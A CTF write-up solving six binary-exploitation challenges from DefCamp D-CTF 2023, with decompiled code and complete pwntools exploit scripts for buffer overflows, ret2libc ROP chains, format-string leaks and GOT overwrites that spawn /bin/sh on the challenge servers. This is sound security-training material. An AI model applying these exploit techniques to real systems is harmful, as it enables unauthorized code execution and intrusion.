DefCamp Capture the Flag (D-CTF) 2023 Write ups (all pwn)

baby-bof (105 solves / 10 points)

This is a basic buffer overflow.
Flag format: CTF{sha256}
Easy

Simple buffer overflow from gets. I simply jumped to flag.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process('./bof')
#p = remote('34.159.182.195', 31670)
e = ELF('./bof')

payload = b''
payload += b'A' * (0x130 + 8)
#payload += b'BBBB'
payload += p64(0x400767)

p.sendlineafter(':', payload)

p.interactive()

bistro (67 solves / 12 points)

Maybe you can get a free menu!!
Flag format: CTF{sha256}
Medium

My decompiler didn’t work well, so I used an online decompiler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 custom()
{
char v1[112]; // [rsp+0h] [rbp-70h] BYREF

printf("Choose what you want to eat:");
gets(v1);
gets(v1);
return 0LL;
}
// 4005E0: using guessed type __int64 __fastcall gets(_QWORD);

//----- (000000000040076C) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init();
puts("==============================");
puts(" MENU ");
puts("==============================");
puts("1. Chessburger...............2$");
puts("2. Hamburger.................3$");
puts("3. Custom dinner............10$");
printf(">> ");
__isoc99_scanf("%d", &v4);
if ( v4 == 2 )
{
puts("2. Hamburger.................3$");
return 0;
}
if ( v4 == 3 )
{
custom();
goto LABEL_7;
}
if ( v4 != 1 )
{
LABEL_7:
puts("Wrong choice");
return 0;
}
puts("1. Chessburger...............2$");
return 0;
}

This is part of what Hexray decompiled. I can find simple buffer overflow from custom. The challenge didn’t give player a libc, so I need to find libc address. Fortunately, there is no PIE. :)

Solve

  • Remember to return to the main when you leak libc address.
  • If the stack is not aligned, you can add a ret assembly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

#p = process('./restaurant')
p = remote('34.89.133.49',30310)
e = ELF('./restaurant')
#libc = e.libc
libc = ELF('./libc.so.6')

ret = 0x40059e
pop_rdi = 0x4008a3

p.sendlineafter('>>', '3')

payload = b''
payload += b'A' * (0x70+8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(e.got['printf'])
payload += p64(e.sym['printf'])
payload += p64(ret)
payload += p64(e.sym['main'])

p.sendlineafter(':', payload)

printf_got = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
info(hex(printf_got))

binsh = printf_got + 0x14eeaa
system = printf_got-0x15a20

# 2
p.sendlineafter('>>', '3')

payload = b'A' * (0x70+8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(ret)
payload += p64(system)

p.sendlineafter(':', payload)

p.interactive()

bistro-v2 (72 solves / 10 points)

Maybe you can get a free menu!!
Flag format: CTF{sha256}
Medium

This challenge is similar to bistro. But simple logic is added.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
int not_flag; // [rsp+14h] [rbp-Ch] BYREF
int flag; // [rsp+18h] [rbp-8h] BYREF
int fd; // [rsp+1Ch] [rbp-4h]

init();
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Open failed");
return -1;
}
else if ( read(fd, &flag, 4uLL) == 4 )
{
close(fd);
puts("Wellcome to the restaurant V2!");
fflush(stdout);
fgets(buff, 1024, stdin);
printf(buff); // fsb
puts("Show me your ticket to pass: ");
fflush(stdout);
__isoc99_scanf("%x", &not_flag);
if ( flag == not_flag )
restaurant();
else
puts("Permission denied!\n");
return 0;
}
else
{
puts("Read failed\n");
return -1;
}
}

I need a ticket(flag) for a restaurant. But how to know flag? The flag is from /dev/urandom. I obviously can’t predict this. But I can leak this from stack. Because there is a format string bug(fsb)!

The flag is stored on the stack. So I can leak this using fsb. If I leaked the required flag, the challenge is already over. (The rest is the same as the previous bistro.)

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

#p = process('./restaurant-v2')
p = remote('34.141.71.230', 31837)
e = ELF('./restaurant-v2')
#libc = e.libc
libc = ELF('./libc.so.6')

p.sendlineafter('!', b'%9$p')
p.recvline()
ticket = p.recvline()
info(ticket)
p.sendlineafter(':', ticket)

# same as before
ret = 0x00000000004006ae
pop_rdi = 0x0000000000400b33

p.sendlineafter('>>', '3')

payload = b''
payload += b'A' * (0x70+8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(e.got['printf'])
payload += p64(e.sym['printf'])
payload += p64(ret)
payload += p64(e.sym['restaurant'])

p.sendlineafter(':', payload)

printf_got = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
info(hex(printf_got))

libc.address = printf_got - libc.sym['printf']
info(hex(libc.address))

binsh = printf_got + 0x14eeaa
system = printf_got-0x15a20

# 2
p.sendlineafter('>>', '3')

payload = b'A' * (0x70+8)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))

payload += p64(ret)
payload += p64(libc.sym['system'])

p.sendlineafter(':', payload)

p.interactive()

book (39 solves / 247 points)

Read books for inspiration so you know what to write!
Flag format: CTF{sha256}
Medium

Until I decompiled, I thought this challenge might be heap related. But I was completely wrong. lol

There are 6 methods, but I only focused on 2(print_todo, store_todo).

1
2
3
4
5
6
7
8
9
10
11
12
int print_todo()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("Which entry would you like to read? ");
fflush(stdout);
v1 = read_int();
if ( v1 <= 128 )
return printf("Your NOTE: %s\n", &todos[48 * v1]);
else
return puts("Sorry but this model only supports 128 NOTE list entries.\n");
}

I always pay attention whenever I see an index. It can refer to memory you didn’t intend.


The index 0 starts at 0x555555558140. For debugging convenience, I put AAAA at index 0. :)
I can put the index as a negative number, so I can leak the got address.

1
2
3
4
5
6
7
8
9
10
11
12
13
int store_todo()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("In which slot would you like to store the new entry? ");
fflush(stdout);
v1 = read_int();
if ( v1 > 128 )
return puts("Sorry but this model only supports 128 NOTE list entries.\n");
printf("What's your NOTE? ");
fflush(stdout);
return read_line(&todos[48 * v1], 48LL);
}

The same vulnerability as the previous function(print_todo) occurs. But this time, I can overwrite the address.

I decided to overwrite atoi with system. The atoi is good to overwrite system. Becuase It has an argument of pointer.

And luckily it’s located next to open_got. I can simply put open_got and system_addr. :)

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

#p = process('./book')
p = remote('34.159.182.195',32692)
e = ELF('./book')

def print_entry(idx):
p.sendlineafter('>', b'2')
p.sendlineafter('?', idx)

def store_entry(idx,note):
p.sendlineafter('>', b'3')
p.sendlineafter('?', idx)
p.sendlineafter('?', note)

p.sendlineafter(':', b'aa')

store_entry(b'0', b'AAAA') # for debugging

print_entry(b'-4')
p.recvuntil(b'E: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
info('open_got: '+hex(leak))

# local
#system = leak - 0xc3960
# remote
system = leak -0xbba50

payload = b''
payload += p64(leak)
payload += p64(system)

store_entry(b'-4', payload )
p.sendlineafter('>',b'/bin/sh')

p.interactive()

system-leak (39 solves / 247 points)

Leak the entire system, but wait this is not zeenbleed.
Flag format: CTF{sha256}
Easy

This challenge makes me confused. lol
There was an FSB, but all mitigation were applied. Since the difficulty level was Easy, I tried to think of it as easy.

1
2
3
4
5
6
7
printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
__isoc99_scanf(" %[^\n]", &pri); // bof
printf("Enter the message to write to syslog: ");
fgets(s, 512, stdin);
fgets(s, 512, stdin);
syslog((unsigned int)&savedregs - 538, s); // fsb
closelog();

This is a part of main. I can find easily bof and fsb. Since now there was no clue, I had to figure out what to do.

I started to print all of stacks, finally I got flag.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.arch = 'amd64'

#p = process('./syslog')
p = remote('34.159.182.195', 32063)
e = ELF('./syslog')
#libc = e.libc

def write_syslog(data):
p.sendlineafter(':', b'1')
p.sendlineafter(':', b'1')
p.sendlineafter(':', data)

def read_syslog():
p.sendlineafter(':', b'2')

for i in range(118,1000):
payload = '%' + str(i) + '$s'
payload = payload.encode()
write_syslog(payload)
read_syslog()
leak = p.recvuntil(b'==========').split(b'syslog: ')[-1].split(b'\n\n')[0]
print(i, leak)

p.interactive()

system-write (33 solves / 287 points)

Wait what? We can write data, but where?
Flag format: CTF{sha256}
Hard

This challenge is similar to previous challenge. Everything seems to be the same except for the mitigation.

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Because of fsb and Partial RELRO, I can overwritie something with system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int idx; // [rsp+0h] [rbp-220h] BYREF
int pri; // [rsp+6h] [rbp-21Ah] BYREF
char s[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v6; // [rsp+218h] [rbp-8h]
__int64 savedregs; // [rsp+220h] [rbp+0h] BYREF

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
puts("\n========== MENU ==========");
puts("1. Write input to syslog");
puts("2. Read syslog");
puts("3. Exit");
puts("==========================");
printf("Enter your choice: ");
__isoc99_scanf("%d", &idx);
if ( idx == 3 )
{
puts("Exiting...");
exit(0);
}
if ( idx > 3 )
{
LABEL_10:
puts("Invalid option. Try again.");
}
else if ( idx == 1 )
{
printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
__isoc99_scanf(" %[^\n]", &pri); // bof
printf("Enter the message to write to syslog: ");
fgets(s, 512, stdin);
fgets(s, 512, stdin);
syslog((unsigned int)&savedregs - 538, s); // fsb
closelog();
}
else
{
if ( idx != 2 )
goto LABEL_10;
read_syslog();
}
}
}

The %[^\n] essentially means “read characters until a newline character is encountered.” It is the same as entering a string with gets. So this can cause bof.

1
void syslog(int priority, const char *format, ...);

syslog can cause fsb. There was difficulty in leaking the address. So I made a loop for this.

1
2
3
4
5
6
7
8
# let's find the libc address
for i in range(1, 101):
payload = '%' + str(i) + '$p'
payload = payload.encode()
write_syslog(payload)
read_syslog()
leak = p.recvuntil(b'==========').split(b'syslog-write: ')[-1].split(b'\n\n')[0]
print(i, leak)

I just printed them out one by one to find the libc address and hoped it would be the same as the offset in the remote environment. In the past, when leaking addresses using fsb, I had an experience where the local offset and remote offset were different.

I used it to find the libc.

Solve

  1. Leak the libc address (I leaked the __libc_start_main+128.)
  2. Find the libc version for the system address.
  3. Overwrite fgets@got with sytem.
  4. Send the /bin/sh\x00 through fgets.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    int pri; // [rsp+6h] [rbp-21Ah] BYREF
    char s[520]; // [rsp+10h] [rbp-210h] BYREF

    printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
    __isoc99_scanf(" %[^\n]", &pri); // buffer overflow
    printf("Enter the message to write to syslog: ");
    fgets(s, 512, stdin);
    fgets(s, 512, stdin);
    syslog((unsigned int)&savedregs - 538, s);
    • I added ‘a’*0xa before /bin/sh\x00.
    • When the fgets is overwrited by system, it is no longer fgets.
    • This means that before fgets call, the argument must already point to the area where /bin/sh is written.
    • So, when i write to &pri, I write a dummy as much as 0xa size and put /bin/sh.
    • However, you can ignore it all and use one_gadget. (For this challenge only)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = 'amd64'

#p = process('./syslog-write')
p = remote('34.159.182.195',31921)
e = ELF('./syslog-write')
libc = e.libc

def write_syslog(data):
p.sendlineafter(':', b'1')
p.sendlineafter(':', b'1')
p.sendlineafter(':', data)

def read_syslog():
p.sendlineafter(':', b'2')

'''
# let's find the libc address
for i in range(1, 101):
payload = '%' + str(i) + '$p'
payload = payload.encode()
write_syslog(payload)
read_syslog()
leak = p.recvuntil(b'==========').split(b'syslog-write: ')[-1].split(b'\n\n')[0]
print(i, leak)
'''

# local 94
write_syslog(b'%94$p')
read_syslog()
libc_leak = p.recvuntil(b'==========').split(b'syslog-write: ')[-1].split(b'\n\n')[0]
print(libc_leak)

payload = b''
payload += fmtstr_payload(7, {
e.got['fgets'] : int(libc_leak,16) -128 + 0x26fa0
})

write_syslog(payload)
p.sendlineafter(':', b'1')
p.sendlineafter(':', b'A'*0xa + b'/bin/sh\x00')

p.interactive()